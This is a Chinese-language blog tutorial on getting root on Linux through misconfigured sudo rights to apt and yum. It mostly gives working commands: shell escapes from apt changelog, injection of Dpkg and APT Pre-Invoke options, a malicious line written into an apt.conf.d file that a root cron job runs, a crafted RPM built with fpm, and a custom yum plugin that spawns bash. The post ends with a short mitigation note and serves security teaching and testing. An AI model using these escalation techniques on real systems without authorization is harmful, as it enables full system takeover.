通过Linux包管理器提升权限

news/2025/3/31 1:30:09/文章来源:https://www.cnblogs.com/yeyvzhian/p/18797929

免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。

前言

在Linux系统中,apt和yum是两种常见的包管理工具,分别用于Debian/Ubuntu和CentOS/RHEL等发行版,如果配置不当极有可能导致linux提权问题,进而导致服务器受到安全威胁。

apt包管理器

通过changelog日志提权

当普通用户允许通过特权模式执行apt命令的时候,可通过changelog日志进行提权。

sudo apt changelog apt

该命令是一个用于查看 apt 软件包更新日志的命令。changelog 是软件包的一部分,记录了该软件包每次更新时的变更内容,包括新功能、修复的漏洞、改进等。

执行该命令,会进入到一个软件包变更内容的日志当中:

在此界面输入!/bin/bash可直接进入对应权限的bash环境当中:

通过安装软件包执行命令提权

当普通用户允许通过特权模式执行apt命令的时候,可通过修改apt配置选项在安装软件包时执行命令。

TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/bash;false"}' > $TF
sudo apt install -c $TF vim

Dpkg::Pre-Invoke是apt的一个配置选项,用于在安装软件包之前执行指定的命令,将配置信息写入到$TF中,这里执行/bin/bash获取一个新的bash环境。

vim是一个软件包,通过安装vim(可以是任意软件包)同时指定临时文件$TF作为配置文件。

可以看到安装完成软件后自动进入到了root的bash环境当中。

通过update更新包提权

当普通用户允许通过特权模式执行apt命令的时候,可通过apt配置选项尝试在更新软件包之前执行命令进行提权。

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

APT::Update::Pre-Invoke是更新操作之前执行指定的命令,通过该命令可在apt包更新之前执行/bin/bash命令从而进行提权。

通过crontab定时任务提权

当crontab以特权用户定期执行apt update时,这通常是在有定时更新软件包需求的服务器上,可通过预调用脚本执行命令提权。

该服务器每一分钟执行一次apt update。

创建一个预调用脚本文件:

#!/bin/bash
APT::Update::Pre-Invoke {"echo `id` > /tmp/result.txt"}

这里只使用执行id命令作为演示。

/etc/apt/apt.conf.d/ 是Linux系统中apt的配置文件目录,如果该文件夹存在可编辑的配置文件,可以将上述预调用脚本文件的恶意代码写入其中。

查看该目录:

脚本的名称开头需要2位数字,且根据数字的大小从小到大依次执行,所以应该将脚本数字命名得尽可能小或修改数字尽可能小的文件。这里00periodic是最小的且可编辑,将恶意代码写入到脚本。

等待1分钟后可以看到已经执行了脚本的命令:

yum包管理器

通过特制的 RPM 包提权

当普通用户允许通过特权模式执行yum命令的时候,可通过制作带有恶意代码的rpm包执行命令提权。

TF=$(mktemp -d)
echo 'id' > $TF/shell.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/shell.sh $TF

创建一个唯一的临时目录,并将该目录的路径赋值给变量 TF,临时目录中创建一个名为 shell.sh 的文件,将命令id写入shell.sh,生成rpm包并使用--before-install在安装之前执行$TF/shell.sh。

sudo yum localinstall -y x-1.0-1.noarch.rpm



成功执行了id命令,显示是root。

通过自定义插件提权

当普通用户允许通过特权模式执行yum命令的时候,可通过自定义插件生成shell提权。

TF=$(mktemp -d)cat >$TF/x <<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOFcat >$TF/y.conf <<EOF
[main]
enabled=1
EOFcat >$TF/y.py <<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):os.execl('/bin/bash','/bin/bash')
EOF

通过自定义的 yum 插件脚本,使插件在初始化的时候执行os.execl('/bin/bash','/bin/bash')获取对应的bash环境。

sudo yum -c $TF/x --enableplugin=y

执行命令获取权限。

总结

配置不当的包管理器可通过拼接命令和制作特定文件的方式执行命令进行提权,想要防止此类事件的发生,配置合理的命令权限和限制 apt 预调用脚本的权限非常重要。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/907123.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

EDMI电表 mk6es关口表数据采集远程抄表点位信息表各种规约协议网关盒子全匹配

正向有功总电量:0169 正向有功峰电量:0160 正向有功平电量:0161 正向有功谷电量:0162 正向有功尖峰电量:0163反向有功总电量:0069 反向有功峰电量:0060 反向有功平电量:0061 反向有功谷电量:0062 反向有功尖峰电量:0063正向无功总电量:0369 正向无功峰电量:0360 正…

DeepSeek 3FS 架构分析和思考(上篇)

资料来源:火山引擎-开发者社区 2025 年 2 月28 日,DeepSeek 在其开源周最后一天压轴发布了自研的并行文件系统 Fire-Flyer File System,简称 3FS。该系统支撑了 DeepSeek V3&R1 模型训练、推理的全流程,在数据预处理、数据集加载、CheckPoint、KVCache 等场景发挥了重要…

Smooth min-entropy

信息论的神奇妙妙工具——Smoothed entropy (平滑熵) 回顾min-entropy 首先有\(\infty\)-divergence \[D_{\infty}(P \| Q) = \max_{x} \log \frac{P(x)}{Q(x)} \]用\(D_{\infty}\)定义min-entropy \[\begin{aligned}H_{\min}(X) &= - D_{\infty}(P_X\| 1) = -\log \ma…

Vue3封装支持Base64导出的电子签名组件

效果图准备工作 组件内用到elementPlus,vue-esign组件,使用前提前安装好。组件代码 <template><!-- 签名容器 --><div class="sign-container" ><div class="sign-preview" :class="[sizeClass, { has-sign: base64Img }]&quo…

产品经理研读:Agent的九种设计模式(图解+代码)

资料来源:火山引擎-开发者社区 引言 上周五我在一个社群里做了一次分享,题目是《从 YC 项目看 AI 趋势以及 AI agent 开发工具类产品该如何设计》,收到了大家不错的反馈,这篇文章和大家详细讲讲分享中提到的 Agent设计模式 1.Agent 的九种设计模式。 先来一张图镇楼,欢迎大…

获取字节火山DeepSeek系列 API完整教程及超多实用玩法!

资料来源:火山引擎-开发者社区原文首发在“Equity AI”公众号,内容经由“WaytoAGI社区整理汇总”,本篇包含了火山DeepSeek API使用的几种方式:飞书多维表格调用,Coze智能体调用,浏览器插件调用。快薅羊毛用起来吧!发现火山方舟大模型服务平台的模型服务计费文档悄咪咪的…

MCR101-ASEMI电源控制电路专用MCR101

MCR101-ASEMI电源控制电路专用MCR101编辑:LL MCR101-ASEMI电源控制电路专用MCR101 型号:MCR101 品牌:ASEMI 封装:TO-92 阻断电压:600V~800V 通态电流:1.0A 类型:单向可控硅 工作温度:-40℃~150℃ MCR101在工业自动化、智能家居和能源管理领域,"精准控制"始终…

IDEA中如何创建scala的对象

1、创建项目 打开Intellij IDEA,点击“Create New Project”。 选择“Java”作为Language,选择“Maven”作为Build System,选择JDK版本; 输入GroupId的名称,一般是com.xxx; 设置完成后点击“Create”。 2、配置Maven File -> Settings -> Build,Execution,Deploym…

fastjson-1.2.68-bypass

fastjson-1.2.68 绕过 在 1.2.47 的利用 mappings 缓存恶意类绕过 autoType 修复后,fastjson 又陆续爆出来了一些黑名单的绕过方式。直到 1.2.68 又有了新的思路去绕过 autoType 安全机制 我们先来看看 fastjson1.2.68 又引入了哪些安全机制 1.2.68 引入了一个新的安全机制 sa…

【日记】感觉沉着冷静是很难得的品质(1200 字)

正文今天不太忙。居然看了一半时间的书,而且居然从零看了一半多了。昨天晚上,一个偶然的原因,看了六层楼跟别人聊天的视频。其实上班之后已经蛮久都没有看他了,时间真的很稀缺。视频中提到了他写的书。他本身表达能力就很好,我想着书应该也不差,就下了一本电子版。刚开始…

Supergateway:MCP服务器的远程调试与集成工具

Supergateway 是一款专为 MCP(Model Context Protocol)服务器设计的远程调试与集成工具,通过 SSE(Server-Sent Events)或 WebSocket(WS)协议实现基于 stdio 的服务器与客户端的高效通信。以下是其核心功能及使用场景的详细解析:核心功能多协议支持支持 SSE 和 WebSocke…